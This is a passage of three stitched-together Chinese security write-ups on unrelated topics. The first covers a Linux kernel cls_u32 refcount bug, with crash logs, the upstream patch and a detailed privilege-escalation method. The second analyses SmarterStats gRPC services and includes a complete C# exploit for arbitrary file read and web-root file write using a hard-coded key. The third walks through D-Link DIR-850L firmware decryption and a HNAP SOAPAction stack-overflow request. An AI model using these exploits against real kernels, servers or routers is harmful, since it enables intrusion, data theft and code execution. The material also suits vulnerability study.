scsi_transport_spi i2c_piix4 pata_acpi floppy
[ 253.624306] CPU: 0 PID: 4009 Comm: apparmor_parser Tainted: G B 5.15.30+ #2
[ 253.624330] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/22/2020
[ 253.624338] RIP: 0010:refcount_warn_saturate+0x10c/0x1f0
[ 253.624351] Code: 1d 6d 3a 1d 03 31 ff 89 de e8 90 f1 18 ff 84 db 75 a0 e8 47 f6 18 ff 48 c7 c7 e0 f0 65 85 c6 05 4d 3a 1d 03 01 e8 f2 76 57 01 <0f> 0b eb 84 e8 2b f6 18 ff 0f b6 1d 36 3a 1d 03 31 ff 89 de e8 5b
[ 253.624361] RSP: 0000:ffff888137fafc90 EFLAGS: 00010282
[ 253.624369] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
[ 253.624376] RDX: ffff88810caf0000 RSI: 0000000000000100 RDI: ffffed1026ff5f84
[ 253.624383] RBP: ffff888137fafca0 R08: 0000000000000100 R09: ffff8881e183098b
[ 253.624390] R10: 0000000000000000 R11: 0000000000000001 R12: ffff888120ec008c
[ 253.624397] R13: ffff888105f42000 R14: ffff888120ec0000 R15: ffff888120ec008c
[ 253.624404] FS: 00007fc64fc8d740(0000) GS:ffff8881e1800000(0000) knlGS:0000000000000000
[ 253.624414] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 253.624421] CR2: 000055893f3fadf9 CR3: 0000000135002001 CR4: 00000000003706f0
[ 253.624445] Call Trace:
[ 253.624451] <TASK>
[ 253.624458] __sk_destruct+0x693/0x790
[ 253.624478] sk_destruct+0xd3/0x100
[ 253.624494] __sk_free+0xfe/0x400
[ 253.624509] sk_free+0x88/0xc0
[ 253.624524] deferred_put_nlk_sk+0x170/0x320
[ 253.624544] rcu_core+0x51a/0x1250
[ 253.624607] rcu_core_si+0xe/0x10
[ 253.624618] __do_softirq+0x189/0x536
[ 253.624631] irq_exit_rcu+0xec/0x130
[ 253.624641] sysvec_apic_timer_interrupt+0x40/0x90
[ 253.624664] asm_sysvec_apic_timer_interrupt+0x12/0x20
[ 253.624675] RIP: 0033:0x55893f2e92d2
[ 253.624685] Code: c3 0f 1f 80 00 00 00 00 48 39 cb 74 3b 48 8b 7d 10 49 89 d8 4c 89 ee 48 8b 07 48 89 54 24 68 44 89 f2 48 89 4c 24 60 4c 89 e1 <48> 8b 40 38 48 83 c4 28 5b 5d 41 5c 41 5d 41 5e 41 5f ff e0 66 2e
[ 253.624694] RSP: 002b:00007ffc26b6c960 EFLAGS: 00000202
[ 253.624703] RAX: 000055893f3ec3a0 RBX: 0000558940c048d0 RCX: 000055893f3eb588
[ 253.624710] RDX: 0000000000000006 RSI: 0000000000000000 RDI: 000055893f3eb510
[ 253.624717] RBP: 000055893f3eb528 R08: 0000558940c048d0 R09: 000055893f3eb4a0
[ 253.624723] R10: 0000558940e14270 R11: 00007fc64fea9ce0 R12: 000055893f3eb588
[ 253.624730] R13: 0000000000000000 R14: 0000000000000006 R15: 000055893f3a48e8
[ 253.624740] </TASK>
[ 253.624743] ---[ end trace ddbeecae4d8b2b8c ]--- [ 253.626421] ------------[ cut here ]------------ [ 253.626431] refcount_t: saturated; leaking memory.
[ 253.626489] WARNING: CPU: 3 PID: 309 at lib/refcount.c:19 refcount_warn_saturate+0x1bd/0x1f0
[ 253.626513] Modules linked in: act_police cls_u32 ip6_gre gre ip6_tunnel tunnel6 uas usb_storage binfmt_misc snd_seq_dummy snd_hrtimer vsock_loopback vmw_vsock_virtio_transport_common vmw_vsock_vmci_transport vsock snd_ens1371 snd_ac97_codec gameport ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_msr intel_rapl_common nls_iso8859_1 snd_seq crct10dif_pclmul ghash_clmulni_intel sch_fq_codel aesni_intel snd_seq_device crypto_simd snd_timer cryptd snd vmw_balloon joydev rapl input_leds soundcore vmw_vmci serio_raw vmwgfx ttm drm_kms_helper mac_hid cec rc_core fb_sys_fops syscopyarea sysfillrect sysimgblt ipmi_devintf ipmi_msghandler msr parport_pc ppdev lp drm parport ip_tables x_tables autofs4 hid_generic crc32_pclmul psmouse usbhid ahci mptspi hid libahci mptscsih e1000 mptbase scsi_transport_spi i2c_piix4 pata_acpi floppy
[ 253.626837] CPU: 3 PID: 309 Comm: kworker/u256:28 Tainted: G B W 5.15.30+ #2
[ 253.626851] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/22/2020
[ 253.626859] Workqueue: netns cleanup_net
[ 253.626874] RIP: 0010:refcount_warn_saturate+0x1bd/0x1f0
[ 253.626888] Code: 03 31 ff 89 de e8 e3 f0 18 ff 84 db 0f 85 ef fe ff ff e8 96 f5 18 ff 48 c7 c7 e0 ef 65 85 c6 05 9f 39 1d 03 01 e8 41 76 57 01 <0f> 0b e9 d0 fe ff ff e8 77 f5 18 ff 48 c7 c7 40 f1 65 85 c6 05 7c
[ 253.626899] RSP: 0000:ffff8881032ff688 EFLAGS: 00010282
[ 253.626908] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
[ 253.626915] RDX: ffff888103093380 RSI: 0000000000000000 RDI: ffffed102065fec3
[ 253.626922] RBP: ffff8881032ff698 R08: 0000000000000000 R09: ffff8881e19b098b
[ 253.626930] R10: 0000000000000000 R11: 0000000000000001 R12: ffff888120ec008c
[ 253.626936] R13: ffff88812dc76500 R14: dffffc0000000000 R15: 00000000c0000000
[ 253.626944] FS: 0000000000000000(0000) GS:ffff8881e1980000(0000) knlGS:0000000000000000
[ 253.626954] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 253.626961] CR2: 00007f2ede8e1024 CR3: 00000001736a6006 CR4: 00000000003706e0
[ 253.626993] Call Trace:
[ 253.626997] <TASK>
[ 253.627006] u32_clear_hnode+0x4c7/0x680 [cls_u32]
[ 253.627058] u32_destroy_hnode.isra.0+0xa4/0x240 [cls_u32]
[ 253.627069] u32_destroy+0x2da/0x390 [cls_u32]
[ 253.627080] tcf_proto_destroy+0x85/0x300
[ 253.627091] tcf_proto_put+0x9c/0xd0
[ 253.627101] tcf_chain_flush+0x1c0/0x310
[ 253.627112] __tcf_block_put+0x158/0x2e0
[ 253.627123] tcf_block_put+0xe3/0x130
[ 253.627178] fq_codel_destroy+0x3c/0xb0 [sch_fq_codel]
[ 253.627189] qdisc_destroy+0xb1/0x2a0
[ 253.627200] qdisc_put+0xe0/0x100
[ 253.627211] dev_shutdown+0x253/0x390
[ 253.627224] unregister_netdevice_many+0x7e0/0x1720
[ 253.627282] ip6gre_exit_batch_net+0x36b/0x450 [ip6_gre]
[ 253.627367] ops_exit_list+0x115/0x160
[ 253.627378] cleanup_net+0x475/0xb40
[ 253.627403] process_one_work+0x8bf/0x11d0
[ 253.627416] worker_thread+0x60b/0x1340
[ 253.627441] kthread+0x388/0x470
[ 253.627461] ret_from_fork+0x22/0x30
[ 253.627476] </TASK>
[ 253.627480] ---[ end trace ddbeecae4d8b2b8d ]---
### 漏洞补丁
在u32_change函数中，不应该执行tcf_exts_put_net函数（使得nets上的引用计数减少1）。
author Eric Dumazet <[email protected]> 2022-04-13 10:35:41 -0700
committer Jakub Kicinski <[email protected]> 2022-04-15 14:26:11 -0700
commit 3db09e762dc79584a69c10d74a6b98f89a9979f8 (patch)
tree 1a269d290124f61d42c2cb059de92a0661f818a5
parent f3226eed54318e7bdc186f8f7ed27bcd3cb8b681 (diff)
download linux-3db09e762dc79584a69c10d74a6b98f89a9979f8.tar.gz
net/sched: cls_u32: fix netns refcount changes in u32_change()
We are now able to detect extra put_net() at the moment
they happen, instead of much later in correct code paths.
u32_init_knode() / tcf_exts_init() populates the ->exts.net
pointer, but as mentioned in tcf_exts_init(),
the refcount on netns has not been elevated yet.
The refcount is taken only once tcf_exts_get_net()
is called.
So the two u32_destroy_key() calls from u32_change()
are attempting to release an invalid reference on the netns.
syzbot report:
refcount_t: decrement hit 0; leaking memory.
WARNING: CPU: 0 PID: 21708 at lib/refcount.c:31 refcount_warn_saturate+0xbf/0x1e0 lib/refcount.c:31
Modules linked in:
CPU: 0 PID: 21708 Comm: syz-executor.5 Not tainted 5.18.0-rc2-next-20220412-syzkaller #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
RIP: 0010:refcount_warn_saturate+0xbf/0x1e0 lib/refcount.c:31
Code: 1d 14 b6 b2 09 31 ff 89 de e8 6d e9 89 fd 84 db 75 e0 e8 84 e5 89 fd 48 c7 c7 40 aa 26 8a c6 05 f4 b5 b2 09 01 e8 e5 81 2e 05 <0f> 0b eb c4 e8 68 e5 89 fd 0f b6 1d e3 b5 b2 09 31 ff 89 de e8 38
RSP: 0018:ffffc900051af1b0 EFLAGS: 00010286
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000040000 RSI: ffffffff8160a0c8 RDI: fffff52000a35e28
RBP: 0000000000000004 R08: 0000000000000000 R09: 0000000000000000
R10: ffffffff81604a9e R11: 0000000000000000 R12: 1ffff92000a35e3b
R13: 00000000ffffffef R14: ffff8880211a0194 R15: ffff8880577d0a00
FS: 00007f25d183e700(0000) GS:ffff8880b9c00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f19c859c028 CR3: 0000000051009000 CR4: 00000000003506f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
<TASK>
__refcount_dec include/linux/refcount.h:344 [inline]
refcount_dec include/linux/refcount.h:359 [inline]
ref_tracker_free+0x535/0x6b0 lib/ref_tracker.c:118
netns_tracker_free include/net/net_namespace.h:327 [inline]
put_net_track include/net/net_namespace.h:341 [inline]
tcf_exts_put_net include/net/pkt_cls.h:255 [inline]
u32_destroy_key.isra.0+0xa7/0x2b0 net/sched/cls_u32.c:394
u32_change+0xe01/0x3140 net/sched/cls_u32.c:909
tc_new_tfilter+0x98d/0x2200 net/sched/cls_api.c:2148
rtnetlink_rcv_msg+0x80d/0xb80 net/core/rtnetlink.c:6016
netlink_rcv_skb+0x153/0x420 net/netlink/af_netlink.c:2495
netlink_unicast_kernel net/netlink/af_netlink.c:1319 [inline]
netlink_unicast+0x543/0x7f0 net/netlink/af_netlink.c:1345
netlink_sendmsg+0x904/0xe00 net/netlink/af_netlink.c:1921
sock_sendmsg_nosec net/socket.c:705 [inline]
sock_sendmsg+0xcf/0x120 net/socket.c:725
____sys_sendmsg+0x6e2/0x800 net/socket.c:2413
___sys_sendmsg+0xf3/0x170 net/socket.c:2467
__sys_sendmsg+0xe5/0x1b0 net/socket.c:2496
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x44/0xae
RIP: 0033:0x7f25d0689049
Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f25d183e168 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
RAX: ffffffffffffffda RBX: 00007f25d079c030 RCX: 00007f25d0689049
RDX: 0000000000000000 RSI: 0000000020000340 RDI: 0000000000000005
RBP: 00007f25d06e308d R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007ffd0b752e3f R14: 00007f25d183e300 R15: 0000000000022000
</TASK>
Fixes: 35c55fc156d8 ("cls_u32: use tcf_exts_get_net() before call_rcu()")
Signed-off-by: Eric Dumazet <[email protected]>
Reported-by: syzbot <[email protected]>
Cc: Cong Wang <[email protected]>
Cc: Jiri Pirko <[email protected]>
Acked-by: Jamal Hadi Salim <[email protected]>
Signed-off-by: Jakub Kicinski <[email protected]>
Diffstat
-rw-r--r-- net/sched/cls_u32.c 16
1 files changed, 10 insertions, 6 deletions
diff --git a/net/sched/cls_u32.c b/net/sched/cls_u32.c
index cf5649292ee00..fcba6c43ba509 100644
--- a/net/sched/cls_u32.c
+++ b/net/sched/cls_u32.c
@@ -386,14 +386,19 @@ static int u32_init(struct tcf_proto *tp)
return 0;
}
-static int u32_destroy_key(struct tc_u_knode *n, bool free_pf)
+static void __u32_destroy_key(struct tc_u_knode *n)
{
struct tc_u_hnode *ht = rtnl_dereference(n->ht_down);
tcf_exts_destroy(&n->exts);
- tcf_exts_put_net(&n->exts);
if (ht && --ht->refcnt == 0)
kfree(ht);
+ kfree(n);
+}
+
+static void u32_destroy_key(struct tc_u_knode *n, bool free_pf)
+{
+ tcf_exts_put_net(&n->exts);
#ifdef CONFIG_CLS_U32_PERF
if (free_pf)
free_percpu(n->pf);
@@ -402,8 +407,7 @@ static int u32_destroy_key(struct tc_u_knode *n, bool free_pf)
if (free_pf)
free_percpu(n->pcpu_success);
#endif
- kfree(n);
- return 0;
+ __u32_destroy_key(n);
}
/* u32_delete_key_rcu should be called when free'ing a copied
@@ -900,13 +904,13 @@ static int u32_change(struct net *net, struct sk_buff *in_skb,
extack);
if (err) {
- u32_destroy_key(new, false);
+ __u32_destroy_key(new);
return err;
}
err = u32_replace_hw_knode(tp, new, flags, extack);
if (err) {
- u32_destroy_key(new, false);
+ __u32_destroy_key(new);
return err;
}
### 问题引入
commit 35c55fc156d85a396a975fc17636f560fc02fd65
Author: Cong Wang <[email protected]>
Date: Mon Nov 6 13:47:30 2017 -0800
cls_u32: use tcf_exts_get_net() before call_rcu()
Hold netns refcnt before call_rcu() and release it after
the tcf_exts_destroy() is done.
Note, on ->destroy() path we have to respect the return value
of tcf_exts_get_net(), on other paths it should always return
true, so we don't need to care.
Cc: Lucas Bates <[email protected]>
Cc: Jamal Hadi Salim <[email protected]>
Cc: Jiri Pirko <[email protected]>
Signed-off-by: Cong Wang <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
diff --git a/net/sched/cls_u32.c b/net/sched/cls_u32.c
index dadd1b344497..b58eccb21f03 100644
--- a/net/sched/cls_u32.c
+++ b/net/sched/cls_u32.c
@@ -399,6 +399,7 @@ static int u32_destroy_key(struct tcf_proto *tp, struct tc_u_knode *n,
bool free_pf)
{
tcf_exts_destroy(&n->exts);
+ tcf_exts_put_net(&n->exts);
if (n->ht_down)
n->ht_down->refcnt--;
#ifdef CONFIG_CLS_U32_PERF
@@ -476,6 +477,7 @@ static int u32_delete_key(struct tcf_proto *tp, struct tc_u_knode *key)
RCU_INIT_POINTER(*kp, key->next);
tcf_unbind_filter(tp, &key->res);
+ tcf_exts_get_net(&key->exts);
call_rcu(&key->rcu, u32_delete_key_freepf_rcu);
return 0;
}
所以，漏洞影响的时间范围2017年11月6日~2022年4月13日，持续4年半。
### 时间轴
时间 |
---|---
2021年7月27日 | 确认漏洞
2021年10月 | 完成漏洞利用
2022年4月12日 | syzbot打出类似漏洞
2022年4月13日 | 社区修补
2022年8月 | 参加国内比赛
## 漏洞利用
漏洞利用的步骤分为：
1.通过信息泄漏，过地址随机化；
2.通过run_cmd提升权限。
### 信息泄漏
第一步：堆布局
1: 填充SLAB中空闲的net
将cache中的net专属SLAB的页全部吃掉，为了让新分配的net使用系统新分配出来的页。图中黄色区域代表堆喷的net objects，如图中的SLAB
1和SLAB 2。
2: 再从新分配的slab中创建victim net
图中红色区域所示。
3:再把victim所在的slab全部吃掉；
如图中的slab A和slab B，其中都用net对象将该8个页大小的slab填满；
第二步：mount net name space
为了后面通过该文件访问victim的引用。
mount("/proc/self/ns/net", "./mynetns", "nsfs", MS_BIND, NULL)
第三步：把victim所在的页还到伙伴系统
通过u32_destroy_key将Victim的引用计数减少1
第四步：用户态mmap堆喷victim所在的物理页
将刚刚第三步还回系统的物理页，通过mmap分配得到。
第五步：构造任意地址读
在之前通过mount得到的文件上，调用ioctl(NS_GET_NSTYPE)，用户态就可以得到ns->ops->type的值，因为ops的值可控，所以就能实现任意地址读。
第六步：读取cpu_area_entry，绕过Kaslr
因为系统中cpu_area_entry的虚拟地址(0xfffffe0000000000)是固定的，
而该地址里含有一个被Kaslr后的内核代码段地址。所以可以计算出偏移，进而绕过Kaslr。
fs/nsfs.c
88 static long ns_ioctl(struct file *filp, unsigned int ioctl,
189 unsigned long arg)
190 {
191 struct user_namespace *user_ns;
192 struct ns_common *ns = get_proc_ns(file_inode(filp));
193 uid_t __user *argp;
194 uid_t uid;
195
196 switch (ioctl) {
197 case NS_GET_USERNS:
198 return open_related_ns(ns, ns_get_owner);
199 case NS_GET_PARENT:
200 if (!ns->ops->get_parent)
201 return -EINVAL;
202 return open_related_ns(ns, ns->ops->get_parent);
203 case NS_GET_NSTYPE:
204 return ns->ops->type; <---/*现实任意地址读*/
205 case NS_GET_OWNER_UID:
206 if (ns->ops->type != CLONE_NEWUSER)
207 return -EINVAL;
208 user_ns = container_of(ns, struct user_namespace, ns);
209 argp = (uid_t __user *) arg;
210 uid = from_kuid_munged(current_user_ns(), user_ns->owner);
211 return put_user(uid, argp);
212 default:
213 return -ENOTTY;
214 }
215 }
include/linux/ns_common.h
9 struct ns_common {
10 atomic_long_t stashed;
11 const struct proc_ns_operations *ops; <--- 12 unsigned int inum;
13 refcount_t count;
14 };
### 通过run_cmd提权
在绕过地址随机化后，就可以进行下一步的提权。
第一步：读取victim net的地址
通过task_list读取中当前的task_struct结构，再读取task_struct上的nsproxy的地址，再读取nsproxy上的net指针来实现。
第二步：在用户态构造fake ops
将ops指针指向fake ops
第三步：劫持PC
147 int open_related_ns(struct ns_common *ns,
148 | struct ns_common *(*get_ns)(struct ns_common *ns))
149 {
150 struct path path = {};
151 struct file *f;
152 int err;
153 int fd;
154
155 fd = get_unused_fd_flags(O_CLOEXEC);
156 if (fd < 0)
157 return fd;
158
159 do {
160 struct ns_common *relative;
161
162 relative = get_ns(ns);
163 if (IS_ERR(relative)) {
164 put_unused_fd(fd);
165 return PTR_ERR(relative);
166 }
167
168 err = __ns_get_path(&path, relative);
169 } while (err == -EAGAIN);
170
171 if (err) {
172 put_unused_fd(fd);
173 return err;
174 }
175
176 f = dentry_open(&path, O_RDONLY, current_cred());
177 path_put(&path);
178 if (IS_ERR(f)) {
179 put_unused_fd(fd);
180 fd = PTR_ERR(f);
181 } else
182 fd_install(fd, f);
183
184 return fd;
185 }
owner就是最后劫持的PC，而且ns的数据也可以控制，所以就可以执行run_cmd完成提权。
1371 struct ns_common *ns_get_owner(struct ns_common *ns)
1372 {
1373 struct user_namespace *my_user_ns = current_user_ns();
1374 struct user_namespace *owner, *p;
1375
1376 /* See if the owner is in the current user namespace */
1377 owner = p = ns->ops->owner(ns); <---/*劫持PC*/
1378 for (;;) {
1379 if (!p)
1380 return ERR_PTR(-EPERM);
1381 if (p == my_user_ns)
1382 break;
1383 p = p->parent;
1384 }
1385
1386 return &get_user_ns(owner)->ns;
1387 }
16 struct proc_ns_operations {
17 const char *name;
18 const char *real_ns_name;
19 int type;
20 struct ns_common *(*get)(struct task_struct *task);
21 void (*put)(struct ns_common *ns);
22 int (*install)(struct nsset *nsset, struct ns_common *ns);
23 struct user_namespace *(*owner)(struct ns_common *ns); <--- 24 struct ns_common *(*get_parent)(struct ns_common *ns);
25 } __randomize_layout;
## 参考链接
[1] <https://github.com/xdp-project/bpf-examples/tree/master/tc-basic-classifier>
[2]
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3db09e762dc79584a69c10d74a6b98f89a9979f8>
[3]
<https://syzkaller.appspot.com/bug?id=0ca897284a4e1bbc149ad96f15917e8b31a85d70>
* * * | 社区文章 |
老外又发洞了
# 环境
2016
8011版本，下载地址：<https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe>
安装可以看官方的文档
<https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx>
# 分析
SSSvc.exe运行在50003端口上，默认监听0.0.0.0
拉到dnspy中看一下
main函数启动了一个SSCollect服务类。
服务类调用了`ServiceWorker.StartService()`
新起了一个线程运行ServiceLifetimeFunction函数
这里调了`ServiceWorker.Start()`
start中调用`GrpcManager.StartGrpc()`开启监听gRPC。
继续看gRPC，在StartGrpc中，定义了四个服务
分别对应
1. Query -> QueryServiceImplementation
2. SiteList -> SiteListServiceImplementation
3. ServiceOperations -> ServiceOperationsServiceImplementation
4. SiteControl -> SiteControlServiceImplementation
并且端口绑定在0.0.0.0:50003上
随便点开一个服务实现来看 QueryServiceImplementation
ServiceOperationsServiceImplementation
能看到grpc的远程调用函数实现。
先来试一下调用。创建一个csharp的grpc项目，可以直接用[gRPC的example](https://github.com/grpc/grpc/tree/v1.45.0/examples/csharp/RouteGuide/RouteGuideClient)项目
在`Query.BindService(new
QueryServiceImplementation()).Intercept(interceptor)`的Query类中，给了我们rpc
client的工具类
直接把这个dll加入到引用中，然后代码如下。
这样就调用到了`SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest,
ServerCallContext)`
那么接下来就是简单的寻找漏洞点了。
`SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest,
IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext)`
任意文件读取
这里需要关闭dnspy的编译优化才能看到具体逻辑
`SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest,
ServerCallContext)`
任意文件写入
有个加密key硬编码，等于没用。
# exp
using Grpc.Core;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SmarterStats.Config.Protos;
using Google.Protobuf.WellKnownTypes;
using SmarterStats.Config.Utility;
using System.IO;
using Google.Protobuf;
namespace Routeguide
{
class Program
{
static async Task<int> Main(string[] args)
{
var channel = new Channel("172.16.16.132:50003", ChannelCredentials.Insecure);
ServiceOperations.ServiceOperationsClient client = new ServiceOperations.ServiceOperationsClient(channel);
GetExportedLogsForSiteRequest request = new GetExportedLogsForSiteRequest();
request.FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml";
AsyncServerStreamingCall<GetExportedLogsForSiteResponse> asyncServerStreamingCall = client.GetExportedLogsForSite(request);
while (await asyncServerStreamingCall.ResponseStream.MoveNext())
{
Console.WriteLine(asyncServerStreamingCall.ResponseStream.Current.Data.ToStringUtf8());
}
SaveFileToRequest saveFileToRequest = new SaveFileToRequest();
saveFileToRequest.Filename = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx";
CryptographyHelper cryptographyHelper = new CryptographyHelper(0);
Timestamp timestamp = Timestamp.FromDateTime(DateTime.UtcNow);
saveFileToRequest.CreationDate = timestamp;
saveFileToRequest.LastWriteDate = timestamp;
cryptographyHelper.SetKey(saveFileToRequest.CreationDate.ToDateTime().ToString("MMddyyyy") + " ksghsfkgjh", null);
string auth = cryptographyHelper.EncodeToBase64(saveFileToRequest.Filename);
saveFileToRequest.Auth = auth;
saveFileToRequest.FileData = ByteString.CopyFromUtf8(File.ReadAllText(@"1.txt"));
client.SaveFileTo(saveFileToRequest);
Console.WriteLine("write done.");
Console.ReadKey();
return 0;
}
}
}
# 修复
GetExportedLogsForSite文件读取截取了文件名并且加了鉴权
SaveFileTo 文件写入限制了后缀白名单并且正则限制了路径
# 思考
SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用，如果没有这个类我们应该怎么构造rpc协议？涉及到rpc，存不存在反序列化问题呢？
wireshark抓包可以看到grpc的请求结构，包括uri、ua、params等，这个东西等我学了之后再说吧。
# 参考
1. <https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html> | 社区文章 |
### 前期准备
固件下载：
ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP
ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVB/DIR-850L_REVB_FIRMWARE_2.07.B05_WW.ZIP
我们用binwalk分析一下1.14固件
iot@pwn:~/Desktop/tools/firmadyne$ binwalk DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 94426, uncompressed size: 104699, name: DIR-850L_REVA_RELEASENOTES_1.14.B07_EN_WW.PDF
94501 0x17125 Zip archive data, at least v2.0 to extract, compressed size: 9628229, uncompressed size: 9678992, name: DIR850LA1_FW114b07WW.bin
9722945 0x945C41 End of Zip archive, footer length: 22
我们再用binwalk分析一下2.07固件
iot@pwn:~/Desktop/iot$ binwalk DIR850LB1_FW207WWb05.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
我们发现什么信息也获取不到，应该是被加密了，我们解密一下
这是解密固件的程序：
/*
* Simple tool to decrypt D-LINK DIR-850L REVB firmwares
*
* $ gcc -o revbdec revbdec.c
* $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define USAGE "Usage: decimg <filename> <key>\n"
int main(int argc,
char **argv)
{
int i, fi;
int fo = STDOUT_FILENO, fe = STDERR_FILENO;
if (argc != 3)
{
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
if ((fi = open(argv[1], O_RDONLY)) == -1)
{
perror("open");
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
const char *key = argv[2];
int kl = strlen(key);
i = 0;
while (1)
{
char buffer[4096];
int j, len;
len = read(fi, buffer, 4096);
if (len <= 0)
break;
for (j = 0; j < len; j++) {
buffer[j] ^= (i + j) % 0xFB + 1;
buffer[j] ^= key[(i + j) % kl];
}
write(fo, buffer, len);
i += len;
}
return (EXIT_SUCCESS);
}
iot@pwn:~/Desktop/iot$ gcc -o revbdec revbdec.c
iot@pwn:~/Desktop/iot$ ./revbdec DIR850LB1_FW207WWb05.bin wrgac25_dlink.2013gui_dir850l > DIR850LB1_FW207WWb05.decrypted
iot@pwn:~/Desktop/iot$ ls
DIR850LB1_FW207WWb05.bin dump1090 revbdec.c
DIR850LB1_FW207WWb05.decrypted DVRF rtl-sdr
DIR-850L_REVA_FIRMWARE_1.14.B07_WW revbdec
iot@pwn:~/Desktop/iot$ binwalk DIR850LB1_FW207WWb05.decrypted
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 10517760 bytes; big endian size: 8232960 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8231815 bytes, 2677 inodes, blocksize: 131072 bytes, created: 2016-03-29 04:08:14
分析一下固件，是Squashfs filesystem，我们用binwalk -Me将固件解压
然后用firmdyne模拟固件
#### 栈溢出漏洞
漏洞文件位于squashfs-root/htdocs/cgibin
先看下保护：
[*] '/squashfs-root/htdocs/cgibin'
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/info/Login.html
Content-Length: 306
Cookie: uid=OLnLaWBI8S
Connection: close
汇编：
0x00414130 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv
0x00414134 0320f809 jalr t9
0x00414138 24847dac addiu a0, a0, 0x7dac ; HTTP_SOAPACTION
0x0041413c 3c040042 lui a0, 0x42
0x00414140 8fbc0020 lw gp, 0x20(sp)
0x00414144 2484615c addiu a0, a0, 0x615c
